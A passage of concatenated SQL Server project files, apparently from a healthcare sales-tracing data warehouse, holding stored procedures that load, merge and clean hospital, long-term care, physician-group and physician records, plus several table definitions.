INSERT INTO [STAGE].TEMP_DHC_CO_ID
select DISTINCT A.AFFILIATED_ACCOUNT_ID
from STAGE.PDI_LTC_LTC_Facility_Affiliations A
LEFT JOIN STAGE.DHC_COMPANY C ON A.AFFILIATED_ACCOUNT_ID = C.DHC_CO_ID
WHERE C.DHC_CO_ID IS NULL;
-- ADD all affliations to relation table -
MERGE STAGE.DHC_COMPANY_AFFLT T
USING (
SELECT DISTINCT
A.AFFILIATED_ACCOUNT_ID AS DHC_CO_ID, A.AFFILIATED_ACCOUNT_NAME AS DHC_CO_NM, A.AFFILIATED_ACCOUNT_HQ_CITY DHC_CO_CITY,
A.AFFILIATED_ACCOUNT_HQ_STATE AS DHC_CO_ST, A.AFFILIATED_ACCOUNT_FIRM_TYPE AS DHC_CO_CAT_CD, 'N' AS ADDR_IN, CURRENT_TIMESTAMP AS [CURRENT TIMESTAMP]
FROM [STAGE].PDI_LTC_LTC_Facility_Affiliations A
JOIN [STAGE].TEMP_DHC_CO_ID TD ON A.AFFILIATED_ACCOUNT_ID = TD.DHC_CO_ID -- to limit only the new ones
) S ON T.DHC_CO_ID = S.DHC_CO_ID
WHEN NOT MATCHED BY TARGET THEN -- That means it is a new Contract
INSERT
(DHC_CO_ID, DHC_CO_NM_1, ORIG_CITY, ORIG_ST, DHC_CO_CAT_CD, ADDR_IN, [CURRENT TIMESTAMP] )
VALUES
(DHC_CO_ID, DHC_CO_NM, DHC_CO_CITY, DHC_CO_ST, DHC_CO_CAT_CD, ADDR_IN, [CURRENT TIMESTAMP] );
----------------------------------------------------
---- PDI_PG_Facility_Affiliations
----------------------------------------------------
TRUNCATE TABLE [STAGE].TEMP_DHC_CO_ID;
INSERT INTO [STAGE].TEMP_DHC_CO_ID
select DISTINCT A.AFFILIATED_ACCOUNT_ID
from STAGE.PDI_PG_Facility_Affiliations A
LEFT JOIN STAGE.DHC_COMPANY C ON A.AFFILIATED_ACCOUNT_ID = C.DHC_CO_ID
WHERE C.DHC_CO_ID IS NULL;
-- ADD all affliations to relation table -
MERGE STAGE.DHC_COMPANY_AFFLT T
USING (
SELECT DISTINCT
A.AFFILIATED_ACCOUNT_ID AS DHC_CO_ID, A.AFFILIATED_ACCOUNT_NAME AS DHC_CO_NM, A.AFFILIATED_ACCOUNT_HQ_CITY DHC_CO_CITY,
A.AFFILIATED_ACCOUNT_HQ_STATE AS DHC_CO_ST, A.AFFILIATED_ACCOUNT_FIRM_TYPE AS DHC_CO_CAT_CD, 'N' AS ADDR_IN, CURRENT_TIMESTAMP AS [CURRENT TIMESTAMP]
FROM [STAGE].PDI_PG_Facility_Affiliations A
JOIN [STAGE].TEMP_DHC_CO_ID TD ON A.AFFILIATED_ACCOUNT_ID = TD.DHC_CO_ID -- to limit only the new ones
) S ON T.DHC_CO_ID = S.DHC_CO_ID
WHEN NOT MATCHED BY TARGET THEN -- That means it is a new Contract
INSERT
(DHC_CO_ID, DHC_CO_NM_1,ORIG_CITY, ORIG_ST, DHC_CO_CAT_CD, ADDR_IN, [CURRENT TIMESTAMP] )
VALUES
(DHC_CO_ID, DHC_CO_NM, DHC_CO_CITY, DHC_CO_ST, DHC_CO_CAT_CD, ADDR_IN, [CURRENT TIMESTAMP] );
----------------------------------------------------
---- PDI_PG_Facility_Affiliations
----------------------------------------------------
TRUNCATE TABLE [STAGE].TEMP_DHC_CO_ID;
INSERT INTO [STAGE].TEMP_DHC_CO_ID
select DISTINCT A.AFFILIATED_ACCOUNT_ID
from STAGE.PDI_PG_Facility_Affiliations A
LEFT JOIN STAGE.DHC_COMPANY C ON A.AFFILIATED_ACCOUNT_ID = C.DHC_CO_ID
WHERE C.DHC_CO_ID IS NULL;
-- ADD all affliations to relation table -
MERGE STAGE.DHC_COMPANY_AFFLT T
USING (
SELECT DISTINCT
A.AFFILIATED_ACCOUNT_ID AS DHC_CO_ID, A.AFFILIATED_ACCOUNT_NAME AS DHC_CO_NM, A.AFFILIATED_ACCOUNT_HQ_CITY DHC_CO_CITY,
A.AFFILIATED_ACCOUNT_HQ_STATE AS DHC_CO_ST, A.AFFILIATED_ACCOUNT_FIRM_TYPE AS DHC_CO_CAT_CD, 'N' AS ADDR_IN, CURRENT_TIMESTAMP AS [CURRENT TIMESTAMP]
FROM [STAGE].PDI_PG_Facility_Affiliations A
JOIN [STAGE].TEMP_DHC_CO_ID TD ON A.AFFILIATED_ACCOUNT_ID = TD.DHC_CO_ID -- to limit only the new ones
) S ON T.DHC_CO_ID = S.DHC_CO_ID
WHEN NOT MATCHED BY TARGET THEN -- That means it is a new Contract
INSERT
(DHC_CO_ID, DHC_CO_NM_1,ORIG_CITY, ORIG_ST, DHC_CO_CAT_CD, ADDR_IN, [CURRENT TIMESTAMP] )
VALUES
(DHC_CO_ID, DHC_CO_NM, DHC_CO_CITY, DHC_CO_ST, DHC_CO_CAT_CD, ADDR_IN, [CURRENT TIMESTAMP] );
----------------------------------------------------
---- PDI_Hospital_Affiliated_Physicians
----------------------------------------------------
INSERT INTO STAGE.DHC_COMPANY_AFFLT
( DHC_CO_ID, DHC_CO_NM_1, DHC_CO_NM_2, ORIG_CITY, ORIG_ST, DHC_CO_CAT_CD, DHC_CO_SUB_CAT, NPI_NR, ADDR_IN, [CURRENT TIMESTAMP] )
SELECT DISTINCT
A.NPI, A.FIRST_NAME, A.LAST_NAME, A.HQ_CITY, A.HQ_STATE, 'PHYS',STAGE.fnFirstWord(SPECIALTY_PRIMARY) as DHC_CO_SUB_CAT, A.NPI,
'N' AS ADDR_IN, CURRENT_TIMESTAMP AS [CURRENT TIMESTAMP]
FROM [STAGE].PDI_Hospital_Affiliated_Physicians A;
----------------------------------------------------
---- PDI_PG_Affiliated_Physicians
----------------------------------------------------
MERGE STAGE.DHC_COMPANY_AFFLT T
USING (
SELECT DISTINCT
A.NPI AS DHC_CO_ID, A.FIRST_NAME, A.LAST_NAME, A.HQ_CITY, A.HQ_STATE, 'PHYS' as DHC_CO_CAT_CD,STAGE.fnFirstWord(SPECIALTY_PRIMARY) as DHC_CO_SUB_CAT, A.NPI,
'N' AS ADDR_IN, CURRENT_TIMESTAMP AS [CURRENT TIMESTAMP]
FROM STAGE.PDI_PG_Physicians A
) S ON T.DHC_CO_ID = S.DHC_CO_ID and T.DHC_CO_CAT_CD = 'PHYS'
WHEN NOT MATCHED BY TARGET THEN -- That means it is a new Contract
INSERT
( DHC_CO_ID, DHC_CO_NM_1, DHC_CO_NM_2, ORIG_CITY, ORIG_ST, DHC_CO_CAT_CD, DHC_CO_SUB_CAT, NPI_NR, ADDR_IN, [CURRENT TIMESTAMP] )
VALUES
(DHC_CO_ID, FIRST_NAME, LAST_NAME, HQ_CITY, HQ_STATE, DHC_CO_CAT_CD, DHC_CO_SUB_CAT, NPI, ADDR_IN, [CURRENT TIMESTAMP] );
-- Above query Did not add any new records
-- Get records from CMS
-- Will update address with CMS DATA - keep a flag for the ones whihc are different to have as an alternate city
UPDATE A
SET A.DHC_CO_ADDR_1 = C.CMPNY_ADDR_1 , DHC_CO_ADDR_2 = C.CMPNY_ADDR_2,
DHC_CO_CITY = C.CMPNY_CITY, DHC_CO_ST = C.CMPNY_ST, DHC_CO_ZIP = C.CMPNY_ZIP
FROM STAGE.DHC_COMPANY_AFFLT A
JOIN MDM_STAGE.CMS_COMPANY C on A.NPI_NR = C.NPI_NR;
-- UPDATE ZIP CODE
UPDATE A
SET DHC_CO_ZIP = Z.Zipcode
FROM STAGE.DHC_COMPANY_AFFLT A
JOIN REF.ZIP_CODE Z ON A.DHC_CO_CITY = Z.City AND A.DHC_CO_ST = Z.State
WHERE A.DHC_CO_ZIP IS NULL;
-- UPDATE BY CITY AND STATE
UPDATE A
SET A.DHC_CO_ADDR_1 = C.CMPNY_ADDR_1 , DHC_CO_ADDR_2 = C.CMPNY_ADDR_2, DHC_CO_ZIP = C.CMPNY_ZIP , A.MATCH_MTHD = 'CTY_ST'
FROM STAGE.DHC_COMPANY_AFFLT A
JOIN MDM_STAGE.CMS_COMPANY C ON C.FIRST_NAME = A.DHC_CO_NM_1 AND C.LAST_NAME = A.DHC_CO_NM_2 AND C.CMPNY_CITY = A.DHC_CO_CITY AND C.CMPNY_ST = A.DHC_CO_ST
WHERE A.DHC_CO_ADDR_1 IS NULL;
END;<file_sep>/PDI_SALESTRACING_DEV/STAGE/Stored Procedures/spLOAD_DHC_DATA.sql
CREATE PROCEDURE [STAGE].[spLOAD_DHC_DATA]
WITH EXEC AS CALLER
AS
BEGIN
-- LOAD HOSPITAL DATA
TRUNCATE TABLE STAGE.DHC_COMPANY;
INSERT INTO STAGE.DHC_COMPANY
(DHC_CO_ID, ORIG_NM, ORIG_ADDR1 , ORIG_ADDR2, DHC_CO_CITY, DHC_CO_ST, DHC_CO_ZIP, DHC_CO_CNTRY,
DHC_CO_CAT_CD, DHC_CO_SUB_CAT, DHC_NTWRK_ID, DHC_NTWRK_PARENT_ID, DHC_CO_WEBSITE, GLN_NR, HIN_NR, DEA_NR
)
SELECT
HOSPITAL_ID, HOSPITAL_NAME, HQ_ADDRESS, HQ_ADDRESS1, HQ_CITY, HQ_STATE, HQ_ZIP_CODE, 'USA',
CASE WHEN FIRM_TYPE = 'Hospital' THEN 'HSP' WHEN FIRM_TYPE = 'Health System' THEN 'IDN' END AS DHC_CO_CAT_CD,
HOSPITAL_TYPE, NETWORK_ID, NETWORK_PARENT_ID, WEBSITE, GLN, HIN, DEA_REGISTRATION_NUMBER
FROM STAGE.PDI_Hospital_Overview
-- LOAD ASC DATA
MERGE [PDI_SALESTRACING_DEV].STAGE.DHC_COMPANY T
USING (
SELECT DISTINCT
HOSPITAL_ID, HOSPITAL_NAME, HQ_ADDRESS, HQ_ADDRESS1, HQ_CITY, HQ_STATE, HQ_ZIP_CODE, 'USA' AS CNTRY,
'ASC' AS DHC_CO_CAT_CD,
FIRM_TYPE AS DHC_CO_SUB_CAT, NETWORK_ID, NETWORK_PARENT_ID, WEBSITE, GLN, HIN
FROM STAGE.PDI_ASC_Overview
) S ON T.DHC_CO_ID = S.HOSPITAL_ID
WHEN NOT MATCHED BY TARGET THEN -- That means it is a new Contract
INSERT
(DHC_CO_ID, ORIG_NM, ORIG_ADDR1 , ORIG_ADDR2, DHC_CO_CITY, DHC_CO_ST, DHC_CO_ZIP, DHC_CO_CNTRY,
DHC_CO_CAT_CD, DHC_CO_SUB_CAT, DHC_NTWRK_ID, DHC_NTWRK_PARENT_ID, DHC_CO_WEBSITE, GLN_NR, HIN_NR)
VALUES
( HOSPITAL_ID, HOSPITAL_NAME, HQ_ADDRESS, HQ_ADDRESS1, HQ_CITY, HQ_STATE, HQ_ZIP_CODE, CNTRY,
DHC_CO_CAT_CD,DHC_CO_SUB_CAT, NETWORK_ID, NETWORK_PARENT_ID, WEBSITE, GLN, HIN);
---------------------
-- LOAD LTC DATA
---------------------
---Insert LTC - ALF (Assisted Living Facilit) data
INSERT INTO STAGE.DHC_COMPANY
(DHC_CO_ID, ORIG_NM, ORIG_ADDR1 , ORIG_ADDR2, DHC_CO_CITY, DHC_CO_ST, DHC_CO_ZIP, DHC_CNTY,
DHC_CO_CAT_CD, DHC_CO_SUB_CAT, DHC_NTWRK_ID, DHC_NTWRK_PARENT_ID, NPI_NR )
SELECT HOSPITAL_ID, HOSPITAL_NAME, HQ_ADDRESS, HQ_ADDRESS1, HQ_CITY, HQ_STATE, HQ_ZIP_CODE, HQ_COUNTY,
'LTC', FIRM_TYPE, NETWORK_ID, NETWORK_PARENT_ID, NPI_NUMBER
FROM STAGE.PDI_LTC_ALF_Overview;
----Insert LTC -HHA (Home Health Aide) data
INSERT INTO STAGE.DHC_COMPANY
(DHC_CO_ID, ORIG_NM, ORIG_ADDR1 , ORIG_ADDR2, DHC_CO_CITY, DHC_CO_ST, DHC_CO_ZIP, DHC_CNTY,
DHC_CO_CAT_CD, DHC_CO_SUB_CAT, DHC_NTWRK_ID, DHC_NTWRK_PARENT_ID, HSPTL_PARENT_ID, NPI_NR )
SELECT HOSPITAL_ID, HOSPITAL_NAME, HQ_ADDRESS, HQ_ADDRESS1, HQ_CITY, HQ_STATE, HQ_ZIP_CODE, HQ_COUNTY,
'LTC', 'Home Health Agencies', NETWORK_ID, NETWORK_PARENT_ID, HOSPITAL_PARENT_ID, NPI_NUMBER
FROM STAGE.PDI_LTC_HHA_Overview
----Insert LTC -SNF (Skilled Nurse Facility) data
INSERT INTO STAGE.DHC_COMPANY
(DHC_CO_ID, ORIG_NM, ORIG_ADDR1 , ORIG_ADDR2, DHC_CO_CITY, DHC_CO_ST, DHC_CO_ZIP, DHC_CNTY,
DHC_CO_CAT_CD, DHC_CO_SUB_CAT, DHC_NTWRK_ID, DHC_NTWRK_PARENT_ID, HSPTL_PARENT_ID, NPI_NR )
SELECT HOSPITAL_ID,HOSPITAL_NAME,HQ_ADDRESS,HQ_ADDRESS1,HQ_CITY,HQ_STATE,HQ_ZIP_CODE, HQ_COUNTY,
'LTC','Skilled Nursing Facilities',NETWORK_ID,NETWORK_PARENT_ID,HOSPITAL_PARENT_ID,NPI_NUMBER
FROM STAGE.PDI_LTC_SNF_Overview
--Insert LTC -Hospice data
INSERT INTO STAGE.DHC_COMPANY
(DHC_CO_ID, ORIG_NM, ORIG_ADDR1 , ORIG_ADDR2, DHC_CO_CITY, DHC_CO_ST, DHC_CO_ZIP,
DHC_CO_CAT_CD, DHC_CO_SUB_CAT, DHC_NTWRK_ID, DHC_NTWRK_PARENT_ID, HSPTL_PARENT_ID, NPI_NR )
SELECT
HOSPITAL_ID,HOSPITAL_NAME,HQ_ADDRESS,HQ_ADDRESS1,HQ_CITY,HQ_STATE,HQ_ZIP_CODE,
'LTC', 'HOSPICE',NETWORK_ID,NETWORK_PARENT_ID,HOSPITAL_PARENT_ID,NPI_NUMBER
FROM STAGE.PDI_LTC_Hospice_Overview
--Insert PG
INSERT INTO STAGE.DHC_COMPANY
(DHC_CO_ID, ORIG_NM, ORIG_ADDR1 , ORIG_ADDR2, DHC_CO_CITY, DHC_CO_ST, DHC_CO_ZIP,
DHC_CO_CAT_CD, DHC_CO_SUB_CAT, DHC_NTWRK_ID, DHC_NTWRK_PARENT_ID, HSPTL_PARENT_ID, NPI_NR)
SELECT
HOSPITAL_ID,HOSPITAL_NAME,HQ_ADDRESS,HQ_ADDRESS1,HQ_CITY,HQ_STATE,HQ_ZIP_CODE,
'PG',
CASE WHEN LTRIM(RTRIM(PG_TYPE)) = 'Academic/Faculty Practice' THEN 'Academic Practice'
WHEN LTRIM(RTRIM(PG_TYPE)) = 'Single/Multi-Specialty Physician Group' THEN 'Specialty Physician Group'
ELSE PG_TYPE END AS DHC_CO_SUB_CAT,
NETWORK_ID,NETWORK_PARENT_ID,HOSPITAL_PARENT_ID,NPI_NUMBER
FROM STAGE.PDI_PG_Overview
-- INSERT ASC AFFLIATE (IT HAS FULL ADDRESS
INSERT INTO STAGE.DHC_COMPANY
( DHC_CO_ID, ORIG_NM, ORIG_ADDR1 , ORIG_ADDR2, DHC_CO_CITY, DHC_CO_ST, DHC_CO_ZIP, DHC_CO_CAT_CD, DHC_NTWRK_ID, DHC_NTWRK_PARENT_ID, NPI_NR )
SELECT DISTINCT
A.AFFILIATED_ACCOUNT_ID, A.AFFILIATED_ACCOUNT_NAME, A.AFFILIATED_ACCOUNT_ADDRESS, A.AFFILIATED_ACCOUNT_ADDRESS1, A.AFFILIATED_ACCOUNT_CITY, A.AFFILIATED_ACCOUNT_STATE, A.AFFILIATED_ACCOUNT_ZIP_CODE,
RTRIM(LEFT(AFFILIATED_ACCOUNT_FIRM_TYPE,50)) DHC_CO_CAT , A.AFFILIATED_ACCOUNT_NETWORK_ID, CONVERT(INT,A.AFFILIATED_ACCOUNT_NETWORK_PARENT_ID) NETWORK_PARENT_ID,
CONVERT(VARCHAR(50),A.AFFILIATED_ACCOUNT_NPI) NPI_NR
FROM STAGE.PDI_ASC_Affiliations A
LEFT JOIN STAGE.DHC_COMPANY C ON A.AFFILIATED_ACCOUNT_ID = C.DHC_CO_ID
WHERE C.DHC_CO_ID IS NULL;
-- UPDATE IDN COMPANY TYPE
UPDATE CMPNY.COMPANY SET CMPNY_TYP_ID = 2
WHERE CMPNY_SGMNT_ID = 3;
MERGE STAGE.DHC_COMPANY T
USING (
SELECT DISTINCT
DHC_ID, CMPNY_NM, ADDR1, ADDR2, CITY, ST, ZIP,CMPNY_TYP, NTWROK_ID, NTWRK_PRNT_ID
FROM STG0.GPO_MMBR_DHC ) S ON T.DHC_CO_ID = S.DHC_ID
WHEN NOT MATCHED BY TARGET THEN
INSERT
(DHC_CO_ID, ORIG_NM, ORIG_ADDR1 , ORIG_ADDR2, DHC_CO_CITY, DHC_CO_ST, DHC_CO_ZIP,
DHC_CO_CAT_CD, DHC_NTWRK_ID, DHC_NTWRK_PARENT_ID )
VALUES
(DHC_ID, CMPNY_NM, ADDR1, ADDR2, CITY, ST, ZIP,CMPNY_TYP, NTWROK_ID, NTWRK_PRNT_ID);
--- ADDRESS CLEAN --
-- IF ETL dropped any zero --
UPDATE STAGE.DHC_COMPANY
SET DHC_CO_ZIP = CASE WHEN LEN(DHC_CO_ZIP)=4 THEN '0'+DHC_CO_ZIP
WHEN LEN(DHC_CO_ZIP)=3 THEN '00'+DHC_CO_ZIP
WHEN LEN(LTRIM(RTRIM(DHC_CO_ZIP)))>5 THEN LEFT(LTRIM(RTRIM(DHC_CO_ZIP)),5)
ELSE DHC_CO_ZIP
END;
TRUNCATE TABLE MDM_STAGE.TEMP_ADDR;
INSERT INTO MDM_STAGE.TEMP_ADDR ( SRC_ID, ADDR_1, ADDR_2)
SELECT DHC_CO_ID, ORIG_ADDR1 , ORIG_ADDR2
FROM STAGE.DHC_COMPANY WHERE ORIG_ADDR1 IS NOT NULL;
--select * from STAGE.DHC_COMPANY WHERE DHC_CO_ADDR_1 IS NULL
EXEC [STAGE].[spADDR_LAUNDRY];
TRUNCATE TABLE MDM_STAGE.DHC_ADDR_PARTS;
INSERT INTO MDM_STAGE.DHC_ADDR_PARTS (
SRC_ID, ST_NR, ST_NM, ST_TYP, ST_DIR, ST_NR_2, BLDG_NR, FL_NR, STE_NR, DIR_1, ADDR_1, ADDR_2 )
SELECT
SRC_ID, ST_NR, ST_NM, ST_TYP, ST_DIR, ST_NR_2, BLDG_NR, FL_NR, STE_NR, DIR_1, ADDR_1, ADDR_2
FROM MDM_STAGE.TEMP_ADDR_PARTS
;
UPDATE A SET A.ZIP = C.DHC_CO_ZIP
FROM MDM_STAGE.DHC_ADDR_PARTS A
JOIN STAGE.DHC_COMPANY C ON A.SRC_ID = C.DHC_CO_ID;
UPDATE C
SET C.DHC_CO_ADDR_1 = A.ADDR_1, C.DHC_CO_ADDR_2 = A.ADDR_2
FROM STAGE.DHC_COMPANY C
JOIN MDM_STAGE.TEMP_ADDR_PARTS A ON C.DHC_CO_ID = A.SRC_ID;
TRUNCATE TABLE MDM_STAGE.TEMP_ADDR_PARTS;
TRUNCATE TABLE MDM_STAGE.TEMP_ADDR;
-- reassign primary location city to the address for better compability
UPDATE C SET
C.DHC_CO_CITY = Z.City
from STAGE.DHC_COMPANY C
JOIN REF.ZIP_CODE Z ON C.DHC_CO_ZIP = Z.Zipcode
WHERE Z.LocationType = 'PRIMARY'
AND Z.City <> C.DHC_CO_CITY ;
-- In case there is an issue with state nm - did not find any
UPDATE C SET
C.DHC_CO_ST = Z.State
from STAGE.DHC_COMPANY C
JOIN REF.ZIP_CODE Z ON C.DHC_CO_ZIP = Z.Zipcode
WHERE Z.LocationType = 'PRIMARY'
AND Z.State <> C.DHC_CO_ST ;
-- If there is any invalid zip code in the DHC file, raise an issue
UPDATE STAGE.DHC_COMPANY
SET ISSUE_FLG = NULL;
UPDATE C
SET C.ISSUE_FLG = 'Invalid ZIP'
FROM STAGE.DHC_COMPANY C
LEFT JOIN REF.ZIP_CODE Z ON C.DHC_CO_ZIP = Z.Zipcode
WHERE Z.Zipcode IS NULL;
EXEC STAGE.spDHC_NAME_CLEANSE;
END;<file_sep>/PDI_SALESTRACING_DEV/CMPNY/Tables/CMPNY_NM.sql
CREATE TABLE [CMPNY].[CMPNY_NM] (
[CMPNY_ID] INT NULL,
[CMPNY_NM] VARCHAR (255) NOT NULL,
[REC_STAT_IN] CHAR (1) NULL,
[SRC_ID] INT NULL,
[SRC_NM] VARCHAR (10) NULL,
[NM_TYP] CHAR (1) NULL,
[FACILITY_TYP] VARCHAR (50) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/PRCHS_GRP.sql
CREATE TABLE [STAGE].[PRCHS_GRP] (
[PDI_GRP_ID] INT IDENTITY (1, 1) NOT NULL,
[DHC_ID] INT NULL,
[CMS_NM] NVARCHAR (255) NULL,
[GRP_NM] NVARCHAR (255) NULL,
[Alias] NVARCHAR (255) NULL,
[HIN] NVARCHAR (255) NULL,
[Address1] NVARCHAR (255) NULL,
[City] NVARCHAR (255) NULL,
[State] NVARCHAR (255) NULL,
[Zip] VARCHAR (10) NULL,
[Mmbr_Hosp_Cnt] INT NULL,
[Bed_Cnt] INT NULL,
[GRP_TYPE] CHAR (3) NULL,
[CMPNY_ID] INT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STG0/Tables/PDI_PG_Overview.sql
CREATE TABLE [STG0].[PDI_PG_Overview] (
[HOSPITAL_ID] VARCHAR (MAX) NULL,
[HOSPITAL_NAME] VARCHAR (MAX) NULL,
[HQ_ADDRESS] VARCHAR (MAX) NULL,
[HQ_ADDRESS1] VARCHAR (MAX) NULL,
[HQ_CITY] VARCHAR (MAX) NULL,
[HQ_STATE] VARCHAR (MAX) NULL,
[HQ_ZIP_CODE] VARCHAR (MAX) NULL,
[HQ_COUNTY] VARCHAR (MAX) NULL,
[WEBSITE] VARCHAR (MAX) NULL,
[HQ_PHONE] VARCHAR (MAX) NULL,
[NETWORK_ID] VARCHAR (MAX) NULL,
[NETWORK_NAME] VARCHAR (MAX) NULL,
[NETWORK_PARENT_ID] VARCHAR (MAX) NULL,
[NETWORK_PARENT_NAME] VARCHAR (MAX) NULL,
[HOSPITAL_PARENT_ID] VARCHAR (MAX) NULL,
[HOSPITAL_PARENT_NAME] VARCHAR (MAX) NULL,
[GPO_NAME_FOR_EXPORT] VARCHAR (MAX) NULL,
[ACO_NAME_FOR_EXPORT] VARCHAR (MAX) NULL,
[HIE_AFFILIATIONS] VARCHAR (MAX) NULL,
[CIN_AFFILIATIONS] VARCHAR (MAX) NULL,
[CBSA_CODE] VARCHAR (MAX) NULL,
[NPI_NUMBER] VARCHAR (MAX) NULL,
[NUMBER_PHYSICIANS_PHYSICIAN_GROUP] VARCHAR (MAX) NULL,
[COMPANY_STATUS] VARCHAR (MAX) NULL,
[CRM_INTEGRATION_LINK] VARCHAR (MAX) NULL,
[PG_TYPE] VARCHAR (MAX) NULL,
[FIRM_TYPE] VARCHAR (MAX) NULL,
[CBSA_POPULATION_EST_MOST_RECENT] VARCHAR (MAX) NULL,
[CBSA_POPULATION_GROWTH_MOST_RECENT] VARCHAR (MAX) NULL,
[MANAGEMENT_SERVICE_ORGANIZATION] VARCHAR (MAX) NULL,
[OWNED_LEASED_REAL_ESTATE] VARCHAR (MAX) NULL,
[GROUP_PRACTICE_PAC_ID] VARCHAR (MAX) NULL,
[NUMBER_GROUP_PRACTICE_MEMEBERS] VARCHAR (MAX) NULL,
[NUMBER_PHYSICIANS_PHYS_COMP] VARCHAR (MAX) NULL,
[MAIN_SPECIALTY] VARCHAR (MAX) NULL,
[OTHER_SPECIALTIES] VARCHAR (MAX) NULL,
[NUMBER_PROCEDURES] VARCHAR (MAX) NULL,
[MEDICARE_CHARGE_AMT] VARCHAR (MAX) NULL,
[MEDICARE_ALLOWED_AMT] VARCHAR (MAX) NULL,
[MEDICARE_PAYMENT_AMT] VARCHAR (MAX) NULL,
[MEANINGFUL_USE_PERCENTILE] VARCHAR (MAX) NULL,
[Participating_in_PQRS] VARCHAR (MAX) NULL,
[PQRS_PERCENTILE] VARCHAR (MAX) NULL,
[BPCI_MODEL] VARCHAR (MAX) NULL,
[CPC_PARTICIPATION] VARCHAR (MAX) NULL,
[ONCOLOGY_CARE_PARTICIPATION] VARCHAR (MAX) NULL,
[CURRENT_TIMESTAMP] DATETIME DEFAULT (getdate()) NOT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Stored Procedures/spSALES_TRACING_VLDTN_EDI.sql
CREATE PROCEDURE [STAGE].[spSALES_TRACING_VLDTN_EDI]
@SalesPeriod varchar(10)
WITH EXEC AS CALLER
AS
BEGIN
EXEC [PDI_SALESTRACING_TEST].[STAGE].spTRC_VLDTN_LOAD_SAF_TEMP @vSalesPeriod = @SalesPeriod;
EXEC [PDI_SALESTRACING_TEST].[STAGE].spTRC_VLDTN_LOAD_REF_TABLE;
EXEC [PDI_SALESTRACING_TEST].[STAGE].spTRC_VLDTN_CONTID_CORR @vSalesPeriod = @SalesPeriod;
EXEC [PDI_SALESTRACING_TEST].[STAGE].spTRC_VLDTN_RUN_CALC @vSalesPeriod = @SalesPeriod;
EXEC [PDI_SALESTRACING_TEST].[STAGE].spTRC_VLDTN_ERROR @vSalesPeriod = @SalesPeriod;
END<file_sep>/PDI_SALESTRACING_DEV/PCM/Tables/PCM_USER.sql
CREATE TABLE [PCM].[PCM_USER] (
[USR_ID] INT NOT NULL,
[USR_LOGIN_NM] NVARCHAR (255) NULL,
[USR_FULL_NM] NVARCHAR (255) NULL,
[GREET_NM] NVARCHAR (255) NULL,
[PWD] NVARCHAR (255) NULL,
[EMAIL] NVARCHAR (255) NULL,
[PCM_ROLE] NVARCHAR (255) NULL,
[ORG_ROLE] NVARCHAR (255) NULL,
[TERR_ID] NVARCHAR (255) NULL,
[REGION_ID] NVARCHAR (255) NULL,
[ACTIVE_IN] CHAR (1) NULL,
[ROLE_ID_FK] INT NULL,
[CREAT_TS] DATETIME NULL,
[LAST_MOD_TS] DATETIME NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Stored Procedures/spNAD_LAUNDRY_LITE_OLD.sql
CREATE PROCEDURE [STAGE].[spNAD_LAUNDRY_LITE_OLD]
@ID INT = NULL
WITH EXEC AS CALLER
AS
BEGIN
--SELECT TOP 1000 * FROM STAGE.TEMP_ADDR_LAUNDRY
-- First load the ID, Name and addresses to temp laundry table for cleaning
-- Take comment out once we are done with developing the stored proc
-- If both Addr1 and Addr2 is same then delete Addr2
UPDATE STAGE.TEMP_ADDR_LAUNDRY
SET ADDR2 = NULL
WHERE ADDR1 = ADDR2
AND SRCE_DATA_ID = ISNULL(@ID ,SRCE_DATA_ID);
-- Remove all extra spaces from the fields
UPDATE STAGE.TEMP_ADDR_LAUNDRY
SET
ORIG_NM = STAGE.fnRemoveSpace_SpChar( ORIG_NM),
ADDR1 = STAGE.fnRemoveSpace_SpChar(ADDR1),
ADDR2 = STAGE.fnRemoveSpace_SpChar(ADDR2)
WHERE SRCE_DATA_ID = ISNULL(@ID ,SRCE_DATA_ID );
-- Change all string numbers to numeric. It will help to find street numbers in next step
UPDATE C
SET ADDR1 =
CONVERT(VARCHAR(10),N.NBR_NUM)+' '+ RIGHT(C.ADDR1 ,LEN(C.ADDR1)-charindex(' ',C.ADDR1 ))
FROM
STAGE.TEMP_ADDR_LAUNDRY C,
REF.NBR_CNVRTR N
WHERE
C.ADDR1 IS NOT NULL AND charindex(' ',C.ADDR1) > 0
AND ISNUMERIC(LEFT(C.ADDR1,charindex(' ',C.ADDR1)-1)) = 0
AND LEFT(C.ADDR1,charindex(' ',C.ADDR1)-1) = N.NBR_STR
AND SRCE_DATA_ID = ISNULL(@ID ,SRCE_DATA_ID );
UPDATE C
SET ADDR2 =
CONVERT(VARCHAR(10),N.NBR_NUM)+' '+ RIGHT(C.ADDR2 ,LEN(C.ADDR2)-charindex(' ',C.ADDR2 ))
FROM
STAGE.TEMP_ADDR_LAUNDRY C,
REF.NBR_CNVRTR N
WHERE
C.ADDR2 IS NOT NULL AND charindex(' ',C.ADDR2) > 0
AND ISNUMERIC(LEFT(C.ADDR2,charindex(' ',C.ADDR2)-1)) = 0
AND LEFT(C.ADDR2,charindex(' ',C.ADDR2)-1) = N.NBR_STR
AND SRCE_DATA_ID = ISNULL(@ID ,SRCE_DATA_ID );
-- Grab numbers from Addr1 and Addr 2 - and populate to str_nr
UPDATE STAGE.TEMP_ADDR_LAUNDRY
SET
ST_NR_1 = STAGE.fnFirstWord(ADDR1),
ST_1 = STAGE.fnSecondPart(ADDR1,Len(STAGE.fnFirstWord(ADDR1))+1)
WHERE ISNUMERIC(STAGE.fnFirstWord(ADDR1)) = 1
AND SRCE_DATA_ID = ISNULL(@ID ,SRCE_DATA_ID );
UPDATE STAGE.TEMP_ADDR_LAUNDRY SET ST_1 = STAGE.fnSecondPart(ADDR1,Len(ST_NR_1)+1)
WHERE Len(ST_NR_1)>0;
-- Move SUITE, FLOOR etc number etc from ADDR1
-- Take out floors from Addr Line 1
UPDATE T
SET ADDR_2_CNDT = ADDR_STD,
ADDR1 = STAGE.fnGet_FirstPart(ADDR1,CHARINDEX(' '+A.ADDR_VAR, ADDR1)),
ST_1 = STAGE.fnGet_FirstPart(ST_1,CHARINDEX(' '+A.ADDR_VAR, ST_1))
FROM STAGE.TEMP_ADDR_LAUNDRY T
JOIN REF.ADDR_STD A ON ST_1 LIKE '% '+A.ADDR_VAR+'%'
WHERE CAT LIKE 'ADDR2%'
AND ADDR_TYP = 'FLOOR';
UPDATE T
SET
ADDR_2_CNDT = ADDR_STD,
ADDR1 = NULL ,
ST_1 = NULL
FROM STAGE.TEMP_ADDR_LAUNDRY T
